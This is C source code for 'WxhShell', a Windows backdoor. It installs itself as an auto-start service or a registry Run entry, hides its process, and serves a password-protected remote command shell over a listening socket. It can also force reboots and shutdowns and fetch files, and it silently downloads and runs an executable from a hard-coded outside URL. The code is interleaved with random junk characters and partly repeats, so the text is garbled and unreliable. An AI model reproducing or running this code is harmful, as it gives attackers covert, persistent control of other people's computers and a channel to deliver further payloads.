l!NQ PROCNTQSIP NtQueryInformationProcess; Q!zg=_z- |wQ|h$| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w91{''sK static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `BdZqXKG mc~d4<$`! HANDLE hProcess; 218ZUg -a PROCESS_BASIC_INFORMATION pbi; yf2U-s &d[&8V5S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u&9|9+"N if(NULL == hInst ) return 0; HhH[p E ;vc$;54K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,AhQA g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K%1'zSAyK NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2_
< 90Jxn'>^ if (!NtQueryInformationProcess) return 0; `LEk/b1(P %o.{h hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GL(R9Y if(!hProcess) return 0; i$?i1z*c} XTXRC$B if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xbxU`2/ q]`XUGC CloseHandle(hProcess); 3^xTZ*G k?o(j/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I)U|~N if(hProcess==NULL) return 0; .ss/E j$4Tot HMODULE hMod; @=E@
*@g char procName[255]; /NNe/7'l unsigned long cbNeeded; D"El6<3)h 5YQ4]/h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <2HI. @^ =.#*MYB.l CloseHandle(hProcess); 9(dbou .-k\Q}D if(strstr(procName,"services")) return 1; // 以服务启动 o;7!$v>uK A84I*d return 0; // 注册表启动 ]HgAI$aA, } u0^GB9q D[x0sly // 主模块 B-
N int StartWxhshell(LPSTR lpCmdLine) _8)9I?jH { "i<i.6| SOCKET wsl; Jk!}z+X'A BOOL val=TRUE; sF:3|Yy0 int port=0; ZXsm9 struct sockaddr_in door; U{"&Jj Wo<zvut8 if(wscfg.ws_autoins) Install(); m/5:-xL31 EGf9pcUEO& port=atoi(lpCmdLine); rQC{"hS1 f`*Ip? V- if(port<=0) port=wscfg.ws_port; *6cP-Vzd CP)x; WSADATA data; 4Cr|]o' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {a- p/\U S^HuQe!# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I
$!Y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U<|kA(5 door.sin_family = AF_INET; r5xu#%hgp; door.sin_addr.s_addr = inet_addr("127.0.0.1"); r]iec{ ^ door.sin_port = htons(port); hs}nI/# SWvy<f4< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]7}2"?J4v closesocket(wsl); ]xBQ7Xqf| return 1; ^EdY:6NJ=A } pP;GDW4 D:sQHJ.y if(listen(wsl,2) == INVALID_SOCKET) { v4kk4}lE closesocket(wsl); r3<yG"J86 return 1; kep.+t[ } ~v$gk Wxhshell(wsl); Z#IRNFj WSACleanup(); 8
C @iD% ^|5bK_Z& return 0; )s4#)E1
h`F8GNx( } Gdq _T* a]|P rjPI // 以NT服务方式启动 `So*\#\T VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &uI`Xq. { t5G@M&d4Eo DWORD status = 0; ;>{BK, DWORD specificError = 0xfffffff; V)V\M6 c~[L;_ serviceStatus.dwServiceType = SERVICE_WIN32; ZP61T*n serviceStatus.dwCurrentState = SERVICE_START_PENDING; ' :lADUt serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MYFRrcu; serviceStatus.dwWin32ExitCode = 0; RR<92R serviceStatus.dwServiceSpecificExitCode = 0; glbU\K> > serviceStatus.dwCheckPoint = 0; % zHsh serviceStatus.dwWaitHint = 0; -bdF= WBLfxr hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D|}
y{~ if (hServiceStatusHandle==0) return; by,"Orpwq; 23BzD^2a status = GetLastError(); f8'D{OP"G if (status!=NO_ERROR) r%A- { c&z@HEzV7 serviceStatus.dwCurrentState = SERVICE_STOPPED; vG`R. serviceStatus.dwCheckPoint = 0; xG@zy4 serviceStatus.dwWaitHint = 0; [vV]lWOp' serviceStatus.dwWin32ExitCode = status; fmILkXKz serviceStatus.dwServiceSpecificExitCode = specificError; jXB<"bw SetServiceStatus(hServiceStatusHandle, &serviceStatus); H@GiHej return; Ufd{.o[{- } 6|+I~zJ88 ;0( |06= serviceStatus.dwCurrentState = SERVICE_RUNNING; *6=2UJcJ serviceStatus.dwCheckPoint = 0; z)I.^ serviceStatus.dwWaitHint = 0; T|`nw_0 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uA dgR } 7'\<\oT
&$ZJfHD@ // 处理NT服务事件,比如:启动、停止 A
q;]al VOID WINAPI NTServiceHandler(DWORD fdwControl) 3QM6M9M { 4Z5ZV! switch(fdwControl) 9#L0Q%,* { 9E~=/Q= case SERVICE_CONTROL_STOP: #u`i4 serviceStatus.dwWin32ExitCode = 0; (9$z+Zmm? serviceStatus.dwCurrentState = SERVICE_STOPPED; MX2Zm serviceStatus.dwCheckPoint = 0; //S/pCqED serviceStatus.dwWaitHint = 0; NPF"_[RoeV { PMC5qQ%x SetServiceStatus(hServiceStatusHandle, &serviceStatus); ya8MjGo } W;en7v;#I} return; =S7Xj`/ case SERVICE_CONTROL_PAUSE: :^]rjy/|+ serviceStatus.dwCurrentState = SERVICE_PAUSED; h BD .IB break; ]E$h7I case SERVICE_CONTROL_CONTINUE: b7 %Z~ serviceStatus.dwCurrentState = SERVICE_RUNNING; {3cT\u break; yU]NgG=z:- case SERVICE_CONTROL_INTERROGATE: /@-!JF#g break; Ey7SQb }; w'E&w)Z] SetServiceStatus(hServiceStatusHandle, &serviceStatus); S) ZcH } h3U| ~h H=O/w3 // 标准应用程序主函数 +Z99x# int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) da<B6! { s>hNwb/ *\><MXx // 获取操作系统版本 8i"v7} OsIsNt=GetOsVer(); _dCdyf GetModuleFileName(NULL,ExeFile,MAX_PATH); >qkZn7C ,Axk\7- // 从命令行安装 DtLga[M if(strpbrk(lpCmdLine,"iI")) Install(); VJquB8?H
%"kF i // 下载执行文件 w@,Yj#_9cx if(wscfg.ws_downexe) { ;cKN5#7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nKpXRuFn\ WinExec(wscfg.ws_filenam,SW_HIDE); 3VNYDY`> } d^AXhQjQN- \>,[5|GU if(!OsIsNt) { u*LMpTnn // 如果时win9x,隐藏进程并且设置为注册表启动 ;>YLL}]j HideProc(); @$o.Z;83`r StartWxhshell(lpCmdLine); &/o4R:i } fg"]4&`j- else +P YX. if(StartFromService()) mcbvB5U // 以服务方式启动 =GH>-*qp StartServiceCtrlDispatcher(DispatchTable); SStaS<q' else 2:b3+{\f // 普通方式启动 {yFCGCs StartWxhshell(lpCmdLine); %@Mv-A6) v;_m1UpuW return 0; `wIMu$i } W%Jw\ z= &d}1)? o%Ubn* "QCtF55X& =========================================== E<6Fjy ]=Im0s !' ;1;k); ,6N|?<26O }.`no s}3g+T\l1w " DAYR=s Ss>ez8q #include <stdio.h> -lICoRO# #include <string.h> vlW521 #include <windows.h> rf@Cz%xDD #include <winsock2.h> C1/qiSHsh #include <winsvc.h> Y
1v9sMN, #include <urlmon.h> jd>ug=~x oW[];r #pragma comment (lib, "Ws2_32.lib") ">zK1t5= #pragma comment (lib, "urlmon.lib") Tnd)4}2p 2H\}N^;f #define MAX_USER 100 // 最大客户端连接数 8kn> ? #define BUF_SOCK 200 // sock buffer aL?+# j^" #define KEY_BUFF 255 // 输入 buffer mV~aZM0' } J_"/bB #define REBOOT 0 // 重启 4th*=ku #define SHUTDOWN 1 // 关机 >aw`kr 'c]Fhe fb #define DEF_PORT 5000 // 监听端口 Ddu1>"p-x F"|OcKAA}h #define REG_LEN 16 // 注册表键长度 0[\sz>@ #define SVC_LEN 80 // NT服务名长度 >]/RlW[ w^BF.Nu // 从dll定义API ML:Zm~A1U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $G UCVxs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +)J;4B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
19#s:nt9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1:Sq?=& Dt#( fuk# // wxhshell配置信息 *P:!lO\| struct WSCFG { /w|!SZB int ws_port; // 监听端口 V=
wWY*C char ws_passstr[REG_LEN]; // 口令 HGiO}|q: int ws_autoins; // 安装标记, 1=yes 0=no
,>C`| char ws_regname[REG_LEN]; // 注册表键名 ;*J_V/&? char ws_svcname[REG_LEN]; // 服务名 ^Kbq.4 char ws_svcdisp[SVC_LEN]; // 服务显示名 GMv.G char ws_svcdesc[SVC_LEN]; // 服务描述信息 W%&gvZre. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NUN~T ( int ws_downexe; // 下载执行标记, 1=yes 0=no 5I`_SOa! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yo-$Z-ud char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PH1jN?OEwZ *(+*tjcWa }; v ?Ds| vz~`M9^ // default Wxhshell configuration ]cmq struct WSCFG wscfg={DEF_PORT, V7S[rI<<r "xuhuanlingzhe", jx=5E6(h 1, gRsV-qS "Wxhshell", t>KvR!+`g "Wxhshell", )(/Bw&$ "WxhShell Service", Ia@!Nr2 "Wrsky Windows CmdShell Service", UM(`Oh8 "Please Input Your Password: ", JLz.lk*. 1, ._X|Ye9/ "http://www.wrsky.com/wxhshell.exe", :q>uj5% "Wxhshell.exe" p~A6:"8s`= }; h 2QJQ|7a N9S?c // 消息定义模块 >2^|r8l5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /:=,mWoO char *msg_ws_prompt="\n\r? for help\n\r#>"; .wpp)M.w;H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .Ce0yAl~ char *msg_ws_ext="\n\rExit."; a#pM9n~a char *msg_ws_end="\n\rQuit."; -J&
b~t@ char *msg_ws_boot="\n\rReboot..."; W Te1E, M char *msg_ws_poff="\n\rShutdown..."; lj US-6 char *msg_ws_down="\n\rSave to "; \D5_g8m:
F?c:
).g char *msg_ws_err="\n\rErr!"; xoB "hNIX char *msg_ws_ok="\n\rOK!"; w3>.d(Q [G<SAWFg7 char ExeFile[MAX_PATH]; FgnS+c3W( int nUser = 0; F2^qf HANDLE handles[MAX_USER]; (~Hwq:=. int OsIsNt; KvvG
H-] (?vKe5 SERVICE_STATUS serviceStatus; hfL8]d- SERVICE_STATUS_HANDLE hServiceStatusHandle; Qd"R@+i ^ZD0rp(l // 函数声明 3?x}48 int Install(void); $5r1Si) int Uninstall(void); p!o+8Xz5 int DownloadFile(char *sURL, SOCKET wsh); !h.bD/?K int Boot(int flag); CBu$8]9= void HideProc(void); ba"_!D1 int GetOsVer(void); H1or,>GoO int Wxhshell(SOCKET wsl); +ab#2~,) void TalkWithClient(void *cs); 4|INy=<"t int CmdShell(SOCKET sock); gk^`-`P int StartFromService(void); pKzrdw-! int StartWxhshell(LPSTR lpCmdLine); [ApAd @wTRoMHPQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2tMa4L%@C VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~&7 *<`7{ !#TM%w // 数据结构和表定义 k:0nj!^4w> SERVICE_TABLE_ENTRY DispatchTable[] = *USzzLq { XJguw/[wm {wscfg.ws_svcname, NTServiceMain}, +rOfQ'lQ {NULL, NULL} btDPP k' };
B@K =^77 {SJnPr3R // 自我安装 rhH !-`m int Install(void) Sd?+j;/" { cS;O]>/5 char svExeFile[MAX_PATH]; y"nL9r.,: HKEY key; ,0^9VWZV strcpy(svExeFile,ExeFile); 5cZKk/"Ad} KKGwMJku} // 如果是win9x系统,修改注册表设为自启动 JrJTIUf_ if(!OsIsNt) { ;yDXo\gm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2O+fjs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y}hz UKJ RegCloseKey(key); hB1Gtc4n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I`KBj6n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $[HpY)MSRw RegCloseKey(key); Q^|aix~ K return 0; f'& } lFc4| _c g } z\6/?5D#v } k}908%w else { 0$I!\y\ mF@DO$ // 如果是NT以上系统,安装为系统服务 ^SJa/I EZ. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l
EsE]f if (schSCManager!=0) 1IeB_t { O#@KP"8 SC_HANDLE schService = CreateService J%ue{PL7 ( Ku<_N]9 schSCManager, &k0c|q] wscfg.ws_svcname, zE_t(B(Q wscfg.ws_svcdisp, gLQbA$gB SERVICE_ALL_ACCESS, P#x]3j] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *h Bo,
SERVICE_AUTO_START, d
A' h7D SERVICE_ERROR_NORMAL, L}.V`v{zc svExeFile, :taRCh5 NULL, #7dM % NULL, JrVBd hLr NULL, fH[:S9@ NULL, !|;w(/ NULL 2apQ4)6#[H ); i'NN if (schService!=0) pTzfc`~xv { n$YCIW)0 CloseServiceHandle(schService); 'P,F)*kh CloseServiceHandle(schSCManager); WgC*bp{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pgU4>tyD strcat(svExeFile,wscfg.ws_svcname); 9KLhAYaq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J"O#w BM9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j,CMcP7A - RegCloseKey(key); Mb[4G>-v= return 0; >6cENe_@t } ^"\.,Y } H=k`7YN CloseServiceHandle(schSCManager); MB]Y|Vee } {r?qI } ^_^rI+cTX1 -"Q[n,"Y return 1; Y'S9
} #p^r)+\3=
g+iV0bbT // 自我卸载 `%M}
:T int Uninstall(void) QWWoj[d# { NurbioFL HKEY key; j[o5fr)L >5!/&D.q if(!OsIsNt) { J"dp?i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ALY%
h!L RegDeleteValue(key,wscfg.ws_regname); vXi}B RegCloseKey(key); |~3$L\X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sw@*N RegDeleteValue(key,wscfg.ws_regname); S.Fip_ RegCloseKey(key); ]0wmvTR return 0; 3tTz$$-# } ,Uv8[ci%9 } f{[,!VG } \w=7L-
8 else { oNV(C'A @5# RGM)5^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =7Y gES if (schSCManager!=0) 4c_F>Jw[ { <AB.`[" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tKUy&]T if (schService!=0) UW[{Y|oE { <.<Q.z if(DeleteService(schService)!=0) { N#`aVW'{v2 CloseServiceHandle(schService); .iL_3:6f CloseServiceHandle(schSCManager);
K{00 V# return 0; x{|n>3l`b9 } uPpRzp CloseServiceHandle(schService); dsxaxbVj% } d4P0f'.z CloseServiceHandle(schSCManager); 5}4MXI4 } TIa`cU` } (u
>:G6K kty,hAXe return 1; Px4zI9;cB } u?f3&pA #dGg !D // 从指定url下载文件 \[+\JWJj int DownloadFile(char *sURL, SOCKET wsh) "Rp ]2'? { $u4esg HRESULT hr; 'c<@SVF{Zz char seps[]= "/"; #:68}f"$ char *token; VrokEK*qbY char *file; }m<)$.x|P char myURL[MAX_PATH]; dMwVgc: char myFILE[MAX_PATH]; [vaG{4m ^IGTGY]s strcpy(myURL,sURL); nWK"i\2#G token=strtok(myURL,seps); FZ^byIS[ while(token!=NULL) ?mt$c6- { Ffm Q$>S file=token; | ~G;M*q token=strtok(NULL,seps); LE Y Y{G? } j$]t`6gG NCvwg GetCurrentDirectory(MAX_PATH,myFILE); % KY&E>^ strcat(myFILE, "\\"); Dg#A b8 strcat(myFILE, file); #V8='qD
send(wsh,myFILE,strlen(myFILE),0); ,9#G/nF send(wsh,"...",3,0); k-
sbZL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); " I@Z:[=2 if(hr==S_OK) ^U_B>0`ch return 0; )vS##-[_ else j>s%q. return 1; ,7M9f 1{"fmV } 7@Di nA! jq["z<V)x // 系统电源模块 @/JGC%! int Boot(int flag) DoPm{055J { AX1'.
HANDLE hToken; 7Hpsmfm TOKEN_PRIVILEGES tkp; ){>;eky ~pj9_I if(OsIsNt) { US7hK Nm. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _jZDSz|Yb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q$,8yTM tkp.PrivilegeCount = 1; >CPkL_@VZ= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IHo6& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7B%@f9g if(flag==REBOOT) { (7ew&u\Li if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eOn,`B1 return 0; fD\h5`- } df1* [ else { u(ZS sftat if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1"odkM return 0; BJj~fNm1Zr } 3 XfXMVm } }C#YR(] else { 6w}:w?=6 if(flag==REBOOT) { MO#%w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o-O/M S return 0; XtfL{Fy|T } 'KQuz)- else { g\(7z
P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wKY6[ vvF return 0; |x< } \\)-[4uC } /2HwK/RZ %k$C return 1; dIO\ lL
} }UGPEf\ J*U(f{Q( // win9x进程隐藏模块 74Q?%X void HideProc(void) g>im2AD+e { ^1cqx]>E Y5MHd>m HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m'qMcCE if ( hKernel != NULL ) ^m1Rw| { .X2mEnh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c>UITM=!I
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2CxdNj FreeLibrary(hKernel); ?|hzAF"U } e#'`I^8l KFV]2mFN return; -~(0:@o ; } u8<=FV3 pb{P[-f // 获取操作系统版本 5e2mEQU> int GetOsVer(void) [
objdQU` { ^5T{x>Lj OSVERSIONINFO winfo; e2*^;&|% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C6P6 hJm GetVersionEx(&winfo); [U jbox if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |\_O8=B% return 1; f8&=D4)-w else ixS78KIr return 0; D!mhR?t } 4_"ZSVq]# B)-S@.u // 客户端句柄模块 T]vD ,I+ int Wxhshell(SOCKET wsl) '[-/Xa[' { ttw@nv%
@ SOCKET wsh; _?r+SRFn struct sockaddr_in client; 2d>PN^x DWORD myID; ifgaBXT55 ~b7Nzzfo while(nUser<MAX_USER) Zka;}UL&Q { Zwt!nh int nSize=sizeof(client); 8%|x) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'QV4=h` if(wsh==INVALID_SOCKET) return 1; ~0}eNz* 'qM3.U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q(r2\ if(handles[nUser]==0) p5H Mg\hT closesocket(wsh); *"4<&F
S else Rxli;blzi nUser++; uo{QF5z] } =az$WRV+7! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aFSZYyPxwv ,f1wN{P return 0; I&xRK' } Q.|2/6hD7[ {'ZnxK' // 关闭 socket o&AUB`.9~ void CloseIt(SOCKET wsh) A|&EI-In { VC+\RB#:- closesocket(wsh); ;|^fAc~9{r nUser--; -12v/an]L7 ExitThread(0); 1=D!C lcb } lR(&Wc\j ?SAi tQ3 // 客户端请求句柄 qQ_B[?+W void TalkWithClient(void *cs) iBi/9 { L9kP8&&KK ~8X'p6 SOCKET wsh=(SOCKET)cs; LH_ 2oJ\ char pwd[SVC_LEN]; CeJ|z{F\ char cmd[KEY_BUFF]; ZRHTvxf char chr[1]; hB.dqv]^ int i,j; j;y|Ys)I Ya. $x~ while (nUser < MAX_USER) { u<8Q[_E& &qU[wn:1 if(wscfg.ws_passstr) { :U*[s$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aj,ZM,Ad //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C[pDPx,#:G //ZeroMemory(pwd,KEY_BUFF); MQ+ek4 i=0; 5R Hs while(i<SVC_LEN) { Iu[EUi!" f
LW>-O73 // 设置超时 6:!fyia fd_set FdRead; ZJpI]^9| struct timeval TimeOut; lV
9q;!/1 FD_ZERO(&FdRead); |<V{$),k FD_SET(wsh,&FdRead); 9mnON~j5 TimeOut.tv_sec=8; |l|]Tw TimeOut.tv_usec=0; w-"&;klV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xki"' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FX^E | xr/k.Fz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TGNeEYr pwd=chr[0]; e>^R 8qM? if(chr[0]==0xd || chr[0]==0xa) { P2p^jm
pwd=0; }:mI6zsNj break; _e3'f:
} $!f$R`R^Q\ i++; h$&XQq0T } t5k&xV=~
# H6O\U2+ // 如果是非法用户,关闭 socket zaZ}:N/w(z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @}gdOaw } n`,Q: kUt9'|9! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m&q;.|W send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 39j d}]e Cg
Sdyg@ while(1) { |- fx
0y 6S<$7=$= ZeroMemory(cmd,KEY_BUFF); 6bGD8; %awS* // 自动支持客户端 telnet标准 "v1(f| a j=0; B`F82_O while(j<KEY_BUFF) { !D3}5A1, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D:(f" cmd[j]=chr[0]; }D^Gt) if(chr[0]==0xa || chr[0]==0xd) { #+;=ijyF cmd[j]=0; taQ[>x7b break; 6`C27 } 7|-xM>L$A j++; DX";v
J } zEW:Xe) K*9b `% // 下载文件 =;H'~ if(strstr(cmd,"http://")) {
n@Ag`} send(wsh,msg_ws_down,strlen(msg_ws_down),0); CnH
R&` if(DownloadFile(cmd,wsh)) >{S $0D send(wsh,msg_ws_err,strlen(msg_ws_err),0); XV>6;!=E else 4m*(D5Y=| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $<4Ar*i } ry
?2 o! else { cPcV[6)5K9 ?/(K7>` switch(cmd[0]) { b-?o?}* kA4ei // 帮助 !r*;R\!n2 case '?': {
x]oQl^F send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p|d9g
^ break; =!^iiHF } [,^dM:E/ // 安装 L{f>;[FR case 'i': { $k ma#7 if(Install()) >~rd5xlk send(wsh,msg_ws_err,strlen(msg_ws_err),0); [bG>qe1}& else $O'2oeM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yV/ J( break; SN(=e#ljE } 4C%>/*%8> // 卸载 ^-u HdafP case 'r': { I_G>W3 if(Uninstall()) !&O/7ywe send(wsh,msg_ws_err,strlen(msg_ws_err),0); A#X.c= else V(u2{4gZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]$*{< break; UD2<!a'T } +^?-}v // 显示 wxhshell 所在路径 nq f<NH3i case 'p': { k8e"5 he char svExeFile[MAX_PATH]; IWqxT?* strcpy(svExeFile,"\n\r"); OLNn3
J strcat(svExeFile,ExeFile); "t:.mA<v send(wsh,svExeFile,strlen(svExeFile),0); Q!X_&ao)O break; 51qIo 4$ } TRLeZ0EC // 重启 i\;&CzC: case 'b': { `E=rh3 L0o send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cqY.^f. if(Boot(REBOOT)) \>Rwg=Lh send(wsh,msg_ws_err,strlen(msg_ws_err),0); H?j-=Zka else { 9>3Ltnn0 closesocket(wsh); U;{,lS2l ExitThread(0); MQ(/l_=zQ } _(`X .D break; mN{ajf)@ } d._gH#&v // 关机 BG:`Fq"T case 'd': { ^HFU@/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IS2Ij if(Boot(SHUTDOWN)) s~Wu0%])Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:8S$F`O@ else { xdfvme[ closesocket(wsh); 8EG8!,\I ExitThread(0); d Zz^9:C+ } 9/daRq$ break; qM>OE8c#/ } {O kik}Oh // 获取shell o+-Ge
J case 's': { >|/? Up CmdShell(wsh); udD*E~1q closesocket(wsh); ~hz@9E]O ExitThread(0); 7e4tUAiuU break; e4qk>Cw } ~5 pC$SC6> // 退出 5Vnr"d case 'x': { (U'7Fc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (
ssH=a CloseIt(wsh); 1gShV ]2 break; 8U2wH } V> a3V' // 离开 {<}I9D5 case 'q': { ,}IER send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]2\2/~l closesocket(wsh); xUo)_P\_ WSACleanup(); ys[i`~$ exit(1); vg:J#M: break; ro&Y7m } M-Z6TL } K~Au?\{
} r,.95@ [> &+*c // 提示信息 udEb/7ZL if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fm$n@RbX } DA MpR3 } h w ;d m 1s}``1> return; +?j?|G } ;h-G3>Il eW"x%|/Q7 // shell模块句柄 <S8I"8{Mb int CmdShell(SOCKET sock) b*FU*)<4. { oX2DFgz STARTUPINFO si; lYZ@a4TA ZeroMemory(&si,sizeof(si)); KSgQ:_u4} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W-C0YU1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [2QY PROCESS_INFORMATION ProcessInfo; N
t>HztXd char cmdline[]="cmd"; 7<R6T9g CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C*{15!d:G return 0; ##`;Eh0a } `FYtiv?G 9Nag%o{*S> // 自身启动模式 o^_W $4Fc int StartFromService(void) f^6&Fb> { MOp=9d+N~ typedef struct (Y'UvZlM%P { \2gvp6 DWORD ExitStatus; r\l3_t DWORD PebBaseAddress; z6FbM^;; DWORD AffinityMask; Pa+AF DWORD BasePriority; #"o6OEy$A# ULONG UniqueProcessId; gQI(=in ULONG InheritedFromUniqueProcessId; tv@Z5 } PROCESS_BASIC_INFORMATION; DV7<n&P 3Y1TQ;i,wQ PROCNTQSIP NtQueryInformationProcess; (!_X:+0_ r>@ B+Xi static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P,$[|)[E static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c?p0#3%L# 1%SJ1oY HANDLE hProcess; |~/3u/ PROCESS_BASIC_INFORMATION pbi; ^^4K/XBve W;OYO HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iJCY /*C} if(NULL == hInst ) return 0; vGPf`2/j. K'iS#i7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {hvQ<7b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fz<|+(_>J NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EBj,pk5M d739UhKC if (!NtQueryInformationProcess) return 0; rSF;Lp)} m0%iw1OsH% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /^z/]!JG:V if(!hProcess) return 0; w!B,kqTG )T.pjl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VeNNsg>& fXF=F,!t CloseHandle(hProcess); B
